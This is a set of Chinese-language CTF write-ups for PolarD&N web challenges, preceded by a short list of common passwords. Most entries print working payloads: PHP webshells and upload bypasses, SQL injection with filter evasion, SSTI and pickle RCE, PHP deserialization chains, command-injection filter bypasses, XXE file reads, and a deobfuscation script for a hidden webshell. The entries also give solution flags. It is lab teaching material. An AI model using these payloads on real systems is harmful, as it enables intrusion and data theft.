football
iloveyou
admin
welcome
monkey
login
abc123
starwars
dragon
passw0rd
p@ssword
p@ssw0rd
master
hello
freedom
whatever
qazwsx
trustno1

其中有管理员账号,直接去爆破试试,密码再源码中有提示为Admin1234!

image-20250601212552315

爆破得到用户名为P0la2adm1n

上传文件,源码中给出提示$allowed_extensions = ['txt','htaccess'];

<FilesMatch "1.txt">
SetHandler application/x-httpd-php
</FilesMatch>

先上传.htaccess文件内容如上,然后上传1.txt

访问uploads/1.txt传参

但是不知道为啥这里一直连不上,尝试后发现这里根本没有限制,直接传一个php就能连,最终找到flags.txt文件,按理来说要去flag判断那里爆破,但是这里可以直接看源码

<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$input = $_POST['inputField'];
$response = ($input === 'flag{T4PwCg1RrQNsO4EcrQmU}') ? 'yes' : 'no';
echo $response;
} else {
echo '无效请求';
}
?>

flag{T4PwCg1RrQNsO4EcrQmU}


好吧,这里.htaccess的配置文件根本没开,奇奇怪怪。参考文章文件上传之 .htaccess文件getshell_上传.htaccess后再上传jpg文件-CSDN博客

image-20250601215232975

background

源码中发现script.js,访问change_background.php后尝试命令执行

document.getElementById("change-bg-btn").onclick = function() {
fetch("change_background.php", {
method: "POST",
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: new URLSearchParams({
d: "echo",
p: "I will do it!"
})
})
.then(response => response.text())
.then(text => {
const lines = text.split('\n');
const background = lines[0]; // 第一行是背景图路径
const message = lines.slice(1).join('\n'); // 其余是输出信息

document.body.style.backgroundImage = `url(${background})`;
document.getElementById("result").innerText = message;
d=ls&p=/         /flag
d=cat&p=/flag

image-20250601220246362

flag{cc59f02fd69119d043f8b06d0ab3eb3f}

中等

到底给不给flag呢(foreach配合$$变量覆盖)

<?php
highlight_file('1.txt');
echo "<br><br>";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //由于是&&连接,导致不用POST传参,只用GET传参即可
exit($qwq); //等价于die()函数
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}

foreach ($_POST as $key => $value) { //用于遍历数组或对象的函数
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo $flag;

这里主要注意的是foreach函数用法,由于遍历数组中元素,先GET传参c=flag&flag=c。这样被解析之后,就是$c=$flag&$flag=$c,就能输出flag,传参后拉到最下面获得flag

foreach()配合$$是个典型的变量覆盖漏洞,使用foreach()来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。例如传入abc=def,就会变成$abc=$def

因此解题关键为定义一个变量来保存原来$flag的内容

再让$flag=存储内容的变量名

abc=flag&flag=abc会被解释为$abc=$flag&$flag=$abc

你的马呢?(文件上传)

随便上传一个图片文件,发现是可以上传的,并且是后缀加路径

image-20250329223946684

法一:apache双后缀绕检查

注意,这里经过尝试,对文件内的php进行检测,因此文件内容如下,并且后缀为php.jpg

GIF89a
<?=eval($_POST[123]);?>

image-20250329224749254

然后直接访问蚁剑连接就好

image-20250329224919536

法二:伪协议包含

上传a.jpg如下

<?php eval($_POST[123]);?>
base64编码得到
PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

image-20250329225335057

在初页面利用文件包含,注意要decode才能解析

file=php://filter/read=convert.base64-decode/resource=a.jpg

image-20250329225638376

csdn(file伪协议)

直接查看源码,提示在flag目录下flag.txt中,因此直接伪协议文件包含就行

xxs=file://flag/flag.txt

找找shell(混淆webshell)

在shell.txt中是一个经过混淆的shell代码,因此利用反向解密脚本可得最后的连接密码,蚁剑连接即可

import base64
import urllib.parse

# 第一个PHP脚本的逻辑转换为Python

# Step 1: 解码 URL 编码字符串
O00OO0 = urllib.parse.unquote("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")
print("解码后的字符串:", O00OO0)

# Step 2: 提取字符并构建变量
O00O0O = O00OO0[3] + O00OO0[6] + O00OO0[33] + O00OO0[30]
O0OO00 = O00OO0[33] + O00OO0[10] + O00OO0[24] + O00OO0[10] + O00OO0[24]
OO0O00 = O0OO00[0] + O00OO0[18] + O00OO0[3] + O0OO00[0] + O0OO00[1] + O00OO0[24]
OO0000 = O00OO0[7] + O00OO0[13]

# 追加字符到 O00O0O
O00O0O += O00OO0[22] + O00OO0[36] + O00OO0[29] + O00OO0[26] + O00OO0[30] + O00OO0[32] + O00OO0[35] + O00OO0[26] + O00OO0[30]

print("变量 $O00O0O:", O00O0O)
print("变量 $O0OO00:", O0OO00)
print("变量 $OO0O00:", OO0O00)
print("变量 $OO0000:", OO0000)

# Step 3: 解码 Base64 字符串
base64_string_php = "JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="
decoded_string_php = base64.b64decode(base64_string_php).decode('utf-8')
print("解码后的 Base64 字符串:", decoded_string_php)

# Step 4: 替换动态变量
replaced_string_php = decoded_string_php.replace('$O00O0O', O00O0O).replace('$O0OO00', O0OO00).replace('$OO0O00', OO0O00).replace('$OO0000', OO0000)
print("替换变量后的字符串:", replaced_string_php)

# 第二个Python脚本的逻辑

# 原始 Base64 字符串
base64_str = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp=="

# 分割字符串
part1 = base64_str[:52] # 前 52 个字符
part2 = base64_str[52:104] # 中间 52 个字符
part3 = base64_str[104:] # 从索引 104 开始的字符

# 创建字符替换映射表
replace_map = str.maketrans(part2, part1)

# 替换字符
replaced_str = part3.translate(replace_map)

# Base64 解码
decoded_str = base64.b64decode(replaced_str).decode('utf-8')

# 输出结果
print("\n解码后的 PHP 代码:")
print(decoded_str)

image-20250329231535815

所以直接访问shell.php,然后蚁剑连接就行

代码审计1(php原生类的寻找和利用)

<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx']; //此时才赋值,所以if语句未起到作用
echo new $sys($xsx); //原生类使用
}
sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

随机值(pop反序列化)

<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;

function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>

我们需要反序列化一个Index类并且让里面的$Polar1$Night赋值为一个随机数。按照概率来讲,只要用bp发包10000次就可以获得flag了。但是我们直接把$Polar2$Light一起改了就可以了

sys=O:5:"Index":4:{s:13:"%00Index%00Polar1";i:5;s:13:"%00Index%00Polar2";i:5;s:8:"%00*%00Night";i:5;s:8:"%00*%00Light";i:5;}

phpurl(php特性)

先看给的文件

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。   //base64解密后得到index.phps

访问index.phps得到源码

<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>

通过二次url编码来绕过条件获得flag

sys=%25%37%38%25%37%38%25%37%33

image-20250329233210329

search(sql注入)

进去就看到输入框,随便输一个1‘就报错,尝试sql注入

query=1'  //为单引号注入
query=1'# //正常回显
query=1' order by 3# //失败回显,尝试绕过空格
query=1'/**/order/**/by/**/3# //正常回显
query=1'/**/order/**/by/**/6# //列数不匹配回显,列数为5
query=1'/**/union/**/select/**/1,2,3,4,5# //失败回显,猜测过滤
query=select //不报错
query=union //失败回显
query=-1'/**/Union/**/select/**/1,2,3,4,5# //回显2,3
query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),4,5# //失败回显,猜测过滤
query=-1'/**/Union/**/select/**/1,(database()),(3),4,5# //回显CTF,猜测过滤
query=information //不报错
query=group //不报错
query=where //失败回显
query=Where //不报错
query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //报错,测出来from也被过滤了
query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //回显Flag,Students
query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5#query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //这里如果查找flag会失败,所以还过滤了flag,只不过由于列名就是Flag,所以直接查找就行,回显Flag
query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(Flag)/**/From/**/Flag),4,5# //回显flag{Polar_CTF_426891370wxbglbnfwaq}

Dragon(信息搜集)

打开之后还是一个输入框,但是尝试sql注入没用,传参后源码可以看到最后有个欢迎 (id传参内容)

。。。。看了下响应,flag就在cookie中(眼瞎之前没看到)

image-20250330000239220

wu(极限rce取反)

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
die("no!");
}
@eval($a);
?>

发现全部数字字母都被过滤了,用取反脚本就行

<?php
$a = "system";
//$b = "ls";
$b = "cat zheshiflag.php";
$c=urlencode(~$a);
$d=urlencode(~$b);
echo "(~$c)((~$d));";
a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F));

写shell(绕过exit()函数)

<?php
highlight_file(__FILE__);
file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);

?>

参考web87,因此直接用base64编码或者root编码都行,但是注意base64编码要补一个字节

GET:filename=php://filter/write=convert.base64-decode/resource=shell.php
POST:content=aPD9waHAgZXZhbCgiJF9QT1NUWzEyM10iKTs/Pg==(第一个a为补的字节)
或者
GET:filename=php://filter/write=string.rot13/resource=1.php
POST:content=<?cuc riny("$_CBFG[123]");?> //源代码中

image-20250401221055715

某函数的复仇

<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){
$shaw = $_POST['shaw'];
$root = $_GET['root'];
if(preg_match('/^[a-z_]*$/isD',$shaw)){
if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){
$shaw('',$root);
}else{
echo "Almost there^^";
}
}
}
?>

首先正则是匹配字母和_,修饰符i表示不区分大小写;s表示使点号(.)匹配所有字符,包括换行符;D表示强制$仅匹配目标字符串的末尾(无D时$也会匹配字符串末尾的换行符前)

注意到$shaw('',$root);,第一个参数为空,那么很明显是create_function()

参考create_function()代码注入 - ctrl_TT豆 - 博客园

总结来说就是闭合隔开之后通过create_function内置的eval执行命令

GET:root=;}system("ls");/*
POST:shaw=create_function

注意,这里的}实际闭合的是函数中的大括号,如下

<?php
function lambda1(){
return ;}
system("ls");/*
}
?>

image-20250602102002161

flag{10be676ceed9b00b1c286de949790c37}

xxe

参考vulhub/php/php_xxe/README.md 在 master ·VulHub/VulHub

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" >]>
<root>
<name>&xxe;</name>
</root>

访问simplexml_load_string.php时带上以上exp,即可实现任意文件读取

image-20250602102806561

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

SSTI

正常SSTI

name={{7*7}}
方法一:lipsum子类
name={{lipsum.__globals__['os'].popen("ls /").read()}}
name={{lipsum.__globals__['os'].popen("tac /f*").read()}}

方法二:正常打。注意这里子类要在源码才能看到,要被渲染
name={{%27%27.__class__.__mro__[1].__subclasses__()[280].__init__.__globals__['popen']('tac /f*').read()}}

flag{74da457f9884bef24f271e377334399a}

unpickle

import pickle
import base64
from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
return user
except:
username = "Guest"

return "Hello %s" % username

if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080)

一个python的pickle反序列化,但是是从cookie打进去,exp如下

import requests
import pickle
import base64

class exp(object):
def __reduce__(self):
return eval , ("open('/flag','r').read()", )

e=exp()
exp = pickle.dumps(e)
user_b64 = base64.b64encode(exp).decode()
print(user_b64)
#gASVNAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwYb3BlbignL2ZsYWcnLCdyJykucmVhZCgplIWUUpQu

添加Cookie:user=gASVNAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwYb3BlbignL2ZsYWcnLCdyJykucmVhZCgplIWUUpQu访问获得flag

flag{1cd20c1dbbed0fc7ab481b44006d469f}

BlackMagic

访问后注释找到源码

extract($_REQUEST);
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
if(isset($strTmp))
{
$strContent = trim($strFlag, $strCharList); //在$strFlag中去掉$strCharList的内容加空格
if($strTmp == $strContent)
{
echo "flag{xxx...xxx}";
}
else
{
echo "You're awesome, but not enough.";
}
}
else
{
echo "I will never tell you the flag is inside!";
}

本地跑下看下结果字符(主要这里有个不可见的制表符,所以直接输出url编码后结果)

<?php
$strCharList = "\r\n\0\x0B ";
$strFlag = "\r xxxxx...xxxxx \n";
$strContent = trim($strFlag, $strCharList);
echo urlencode($strContent);
//%09xxxxx...xxxxx%09
GET:strTmp=%09xxxxx...xxxxx%09

flag{ab8aff2d0104e4f883a57880b260b761}

反序列化

<?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
class example
{
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process{
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data=unserialize($_GET['data']);
}
?>

很短的链子

process::close()->example::handle()->exaple::funnnn()
<?php
class example
{
public $handle;
}
class process{
public $pid;
}
$a=new example();
$a->handle=new process();
$a->handle->pid='system("ls");';
echo serialize($a);
//O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system("ls");";}}
data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system("ls");";}}
data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:27:"system("ls /var/www/html");";}}
data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system("tac /var/www/html/flag.php");";}}

flag{3c8000f924a1ed58a12a91759ecab3f0}

再来ping一波啊

分隔后变量拼接读取index.php

GET:ip=;a=ind;b=ex;ca\t$IFS$9$a$b.php

获得源码如下

<?php
$flag = 'flag{ae5eb824ef87499f644c3f11a7176157}';
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|\>|`|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
print_r($match);
print($ip);
echo "<pre>";
echo preg_match("/\&|\/|\?|\*|\<|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
}
else if(preg_match("/ /", $ip)){
die("空格我可没加难度这可真是复习,/斜眼笑");
}
else if(preg_match("/bash/", $ip)){
die("Bash is not allowed");
}
else if(preg_match("/ls/", $ip)){
die("我很抱歉,其实你得再研究研究");
}
else if(preg_match("/cat|tac|sort|head|tail|more|less/", $ip)){
die("常用的读取命令肯定不行,你要是想出绕过的也算你厉害。但过滤机制是改了的-。-,你再研究研究?");
}
else if(preg_match("/rm/", $ip)){
die("你要搞我???");
}
else if(preg_match("/index/",$ip)){
die("那能让你直接读?");
}
$a = system("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

flag{ae5eb824ef87499f644c3f11a7176157}

ezphp

根据提示访问robots.txt,在file下找到file.php如下

<?php
/*
PolarD&N CTF
*/
highlight_file('file.php');
$filename = $_GET['filename'];
@include $filename;
?>

还有一个上传路径为uploads/upload.php,那就是先上传再包含,上传路径没给,可以自己找到

../uploads/images/1.jpg

GET:filename=../uploads/images/1.jpg
POST:123=system("find / -name 'flag'"); ///home/webuser/flag

其实这里也可以用grep,但是不知道为啥用了卡死了,估计数据比较多,123=system("grep -r 'flag{' /");

image-20250602113748150

flag{a6e667c3194c7a60f7491d4c7e5b1161}

PlayGame

<?php
/*
PolarD&N CTF
*/
class User{
public $name;
public $age;
public $sex;

public function __toString()
{
return "name:".$this->name."age:".$this->age."sex:".$this->sex;
}
public function setName($name){
$this->name=$name;
}
public function setAge($age){
$this->$age=$age;
}
public function setSex($sex){
$this->$sex=$sex;
}
}
class PlayGame{
public $user;
public $gameFile="./game";
public function openGame(){
return file_get_contents($this->gameFile);
}
public function __destruct()
{
echo $this->user->name."GameOver!";
}
public function __toString(){
return $this->user->name."PlayGame ". $this->user->age . $this->openGame();
}
}
if(isset($_GET['polar_flag.flag'])){
unserialize($_GET['polar_flag.flag']);
}else{
highlight_file(__FILE__);
}

链子如下

PlayGame::openGame->PlayGame::__toString->User::__toString->PlayGame::__destruct

exp如下

<?php
class User{
public $name;
public $age;
public $sex;
}
class PlayGame{
public $user;
public $gameFile="/flag";
}
$a=new PlayGame();
$a->user=new User();
$a->user->name=new PlayGame();
echo serialize($a);
//O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}

注意这里要用[来代替_,常见姿势

GET:polar[flag.flag=O:8:"PlayGame":2:{s:4:"user";O:4:"User":3:{s:4:"name";O:8:"PlayGame":2:{s:4:"user";N;s:8:"gameFile";s:5:"/flag";}s:3:"age";N;s:3:"sex";N;}s:8:"gameFile";s:5:"/flag";}

源码找到flag

flag{bcbad1a16895974105e8450b8a7b5bf2}

file

先扫目录发现上传页面,正常传马,这里没有回显路径,扫目录时找到路径为/uploaded/,环境变量找到flag

image-20250602150159749

。。。。。。这也是错的,真的flag在/flag

POST:123=system("cat /flag");

flag{c99d5a15c74c9oc4a689b58b89ec978e}

tnl

以为是sql尝试无果,看wp发现就是伪协议读取。。。。。。

POST:twothree=php://filter/read=convert.base64-encode/resource=index
//index.php
<?php
error_reporting(0);
@$file = $_POST['twothree'];

if(isset($file))
{
if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1";
}
}
?>
POST:twothree=php://filter/read=convert.base64-encode/index/resource=flag

image-20250602151545468

flag{29dba9019e40d75a5053b15f4f2906e1}

你知道sys还能这样玩吗

进环境就是403,根据题目提示访问sys.php其实真没想到,看的WP

<?php
show_source(__FILE__);

if(isset($_POST['cmd'])){
echo "<pre>";
$cmd = $_POST['cmd'];
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i', $cmd)) {
$output = system($cmd);
echo $output;
}
echo "</pre>";
}
?>

法一:反斜杠绕过

直接反斜杠绕过关键词就行,注意这里还过滤了点号,中括号通配符匹配就行。这里的[^a]表示除a外的任意字符,可以匹配.

cmd=l\s /
cmd=ca\t /fla\g[^a]txt

flag{196b0f14eba66e10fba74dbf9e99c22f}

法二:变量拼接

cmd=a=ca;b=t;c=fla;d=g[^a]txt;$a$b /$c$d

法三:php -r执行命令

cmd=php -r 'system(hex2bin("636174202f666c61672e747874"));'
//十六进制绕过,php -r表示执行单行代码,里面的命令为cat /flag.txt
cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'
//较上面的命令不用单引号了,由于第一个命令转十六进制以数字开头,php会将其作为数字而不是字符串,而第二个命令中的ff转十六进制后仍为ff,不影响

法四:printf和双引号结合base64绕过

cmd=`printf "Y2F0IC9mbGFnLnR4dA=="|bas""e64 -d`
//反引号执行命令,内部命令为cat /flag.txt,base64解码后输出,base关键字用双引号隔开

但是这个命令本地能打通,题目环境出不来

法五:八进制转换

cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27
//原始为cmd=$'cat'<$'/flag.txt',等效于cat < /flag.txt

ExX?

扫目录发现/dom.php,结合题目猜测是xxe,直接上payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flagggg.php" >]>
<root>
<name>&xxe;</name>
</root>

image-20250602160744432

flag{7e97e8c4f9d6be35ae8500b9fb2cdd3e}

EZ_Host

根据题目提示直接GET传参,尝试后不出网。分号隔开直接命令执行

GET:host=127.0.0.1;tac flag

image-20250602161247110

flag{this_is_your_flagggg!!!}

传马

上传jpg文件抓包改后缀后直接上传就行,路径为upload/1.php

蚁剑连接根目录找到flag

flag{420F9CED0C3E6CE65A90817A65197A09}

笑傲上传

找到了上传区和包含区,那随便上传个文件包含就行

直接上传jpg还不行,要加上GIF89a文件头上传成功,上传后在源码找到路径

image-20250602162706322

包含区源码如下

<?php
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
/*这里是妙妙屋的后门*/
?>
GET:file=./upload/2920250602082641.gif
POST:123=system("tac /flag.txt");

flag{dfbb09ce0b4ae994b2a8249b810ea22d}

序列一下

<?php

class Polar{
public $url = 'polarctf.com';
public $lt;
public $b;

function __destruct()
{
$a = $this->lt;

$a($this->b);
}
}
unserialize($_POST['x']);
highlight_file(__FILE__);
?>

$a($this->b);看到这个,所以肯定是要通过命令执行来rce了,exp如下

<?php
class Polar{
public $url = 'polarctf.com';
public $lt;
public $b;
}
$a=new Polar();
$a->lt='system';
$a->b='ls';
echo serialize($a);
//O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:2:"ls";}
x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:2:"ls";}
x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:4:"ls /";}
x=O:5:"Polar":3:{s:3:"url";s:12:"polarctf.com";s:2:"lt";s:6:"system";s:1:"b";s:7:"tac /f*";}

flag{425d24d5f338640619b0760a358bdf9f}

坏掉的上传页

进去发现不能正常上传文件,源码为

<form class="form">
<div id="upload_panel">

<h3>图片资源上传系统</h3>
<p>上传你的图片到服务器</p>

<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:
<p>
<div class="file-upload">
<button>浏览...</button>未选择文件
</div>
<input class="button" type="button" name="submit" value="上传" />


</form>

</form>

通过自创html上传php文件

<!DOCTYPE html>
<html>
<body>
<form action="http://52626aef-c8b9-4d34-9db3-4028c10f72a3.www.polarctf.com:8090/" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

扫目录得到/config.php,直接访问得知路径在database.db中,找到路径/uploadsabc/file_683d678b405002.59772896.php后蚁剑连接即可找到flag

image-20250602170501349

flag{73b974596dc61737dbe1d52ec2e84433}

xxmmll

非预期

其实扫目录得到docker配置文件就可以看到flag了

image-20250602170730450

flag{ce22bbe170d234645361239b395dbc5d}

预期

image-20250602170820575

响应头中找到这个文件xxmmll.php,输入如下获得flag

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" >]>
<root>
<name>&xxe;</name>
</root>

Note

提示调试目录,那就先扫下目录

非预期

扫到flag.txt文件访问秒了

image-20250602171143576

flag{4596b24ab4ffcaf5472e9db97d21a3a1}

预期

debug.log,发现提示unserialize(data) might be insecure if data is user-controlled.,尝试序列化数据

image-20250602171826553

然后没思路,去看了看官方wp,只能说有点神经

image-20250602172055380

<?php
class Note {
private $filename;
private $content;
}

$note = new Note();
$reflection = new ReflectionClass($note);

// 修改 filename 为 flag.txt
$filenameProperty = $reflection->getProperty('filename');
$filenameProperty->setAccessible(true);
$filenameProperty->setValue($note, 'flag.txt');

// 序列化并 URL 编码
echo serialize($note);
?>
//O:4:"Note":2:{s:14:"Notefilename";s:8:"flag.txt";s:13:"Notecontent";N;}
GET:data=O:4:"Note":2:{s:14:"Notefilename";s:8:"flag.txt";s:13:"Notecontent";N;}

image-20250602172016922

赌王

要摇,感觉是随机,抓包爆破试试

image-20250602184400604

访问/ed3d2c21991e3bef5e069713af9fa6ca不能打开,带上php后缀访问,输入框中尝试xss,<script>alert(1)</script>提示用confirm<script>confirm(1)</script>得到下一个路径e744f91c29ec99f0e662c9177946c627,访问e744f91c29ec99f0e662c9177946c627.php,一眼命令执行,但是提示权限不足,源码发现提示

image-20250602185256119

GET:input=1;cat e744f91c29ec99f0e662c9177946c627.php
X-Forwarded-For:1.1.1.1

该页面源码为

<?php
if(isset($_GET['input'])) {
$input = $_GET['input'];

function real_ip()
{

$ip = $_SERVER['REMOTE_ADDR'];
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', $_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
foreach ($matches[0] AS $xip) {
if (!preg_match('#^(10|172\.16|192\.168)\.#', $xip)) {
$ip = $xip;
break;
}
}
} elseif (isset($_SERVER['HTTP_CLIENT_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (isset($_SERVER['HTTP_CF_CONNECTING_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CF_CONNECTING_IP'])) {
$ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
} elseif (isset($_SERVER['HTTP_X_REAL_IP']) && preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_X_REAL_IP'])) {
$ip = $_SERVER['HTTP_X_REAL_IP'];
}
return $ip;
}
$a=real_ip();


// 只有 XFF 为 1.1.1.1 时才允许执行
if ($a === '1.1.1.1') {
// 执行命令,但存在命令注入漏洞
$output = shell_exec($input);
echo "<pre>$output</pre>";
} else {
die("权限不足!");
}
}
?>

既然这样可以不带着;访问了,直接在根目录找到flag

image-20250602185815607

flag{fae0b27c451c728867a567e8c1bb4e53}

xCsMsD

随便注册登录后发现xss和rce,但是直接rce不行,先打xss

输入alert('xss')有正常弹窗,重新用alert(document.cookie)弹下cookiecookie=%27+%27-%3E%27-%27%2C+%27%5C%27-%3E%27%2F%27

image-20250602190830731

因此估计rce中有替换,将+替换为-\替换为/即可,而且估计这里的+代指的空格(其实看wp这里的cookie中就是空格的,估计自动替换为+了)

POST:command_input=tac-\flag&execute_command=

image-20250602191423564

flag{e9964d01bda263f9aa86e69ce5bdfb47}


扒了个源码如下

<?php
// XSS测试部分
if (isset($_POST['execute_xss'])) {
$xss_code = $_POST['xss_input'];
echo "<script>$xss_code</script>"; // 注意:这是一个非常不安全的做法,仅用于演示
}
?>

<div class="flip-card__back">
<!-- 命令执行窗口 -->
<div class="title">命令执行窗口</div>
<form method="POST" action="xss_cmd.php">
<input type="text" name="command_input" placeholder="输入命令">
<button type="submit" name="execute_command">执行命令</button>
</form>
</div>

<?php
// 命令执行部分
if (isset($_POST['execute_command'])) {
$command = $_POST['command_input'];

// 输入过滤处理
$command = str_replace(' ', '', $command); // 替换空格为空
$command = str_replace('/', '', $command); // 替换"/"为空
$command = str_replace('-', ' ', $command); // 替换"-"为空格
$command = str_replace('\\', '/', $command); // 替换"\"为"/"

// 定义被禁止的命令列表
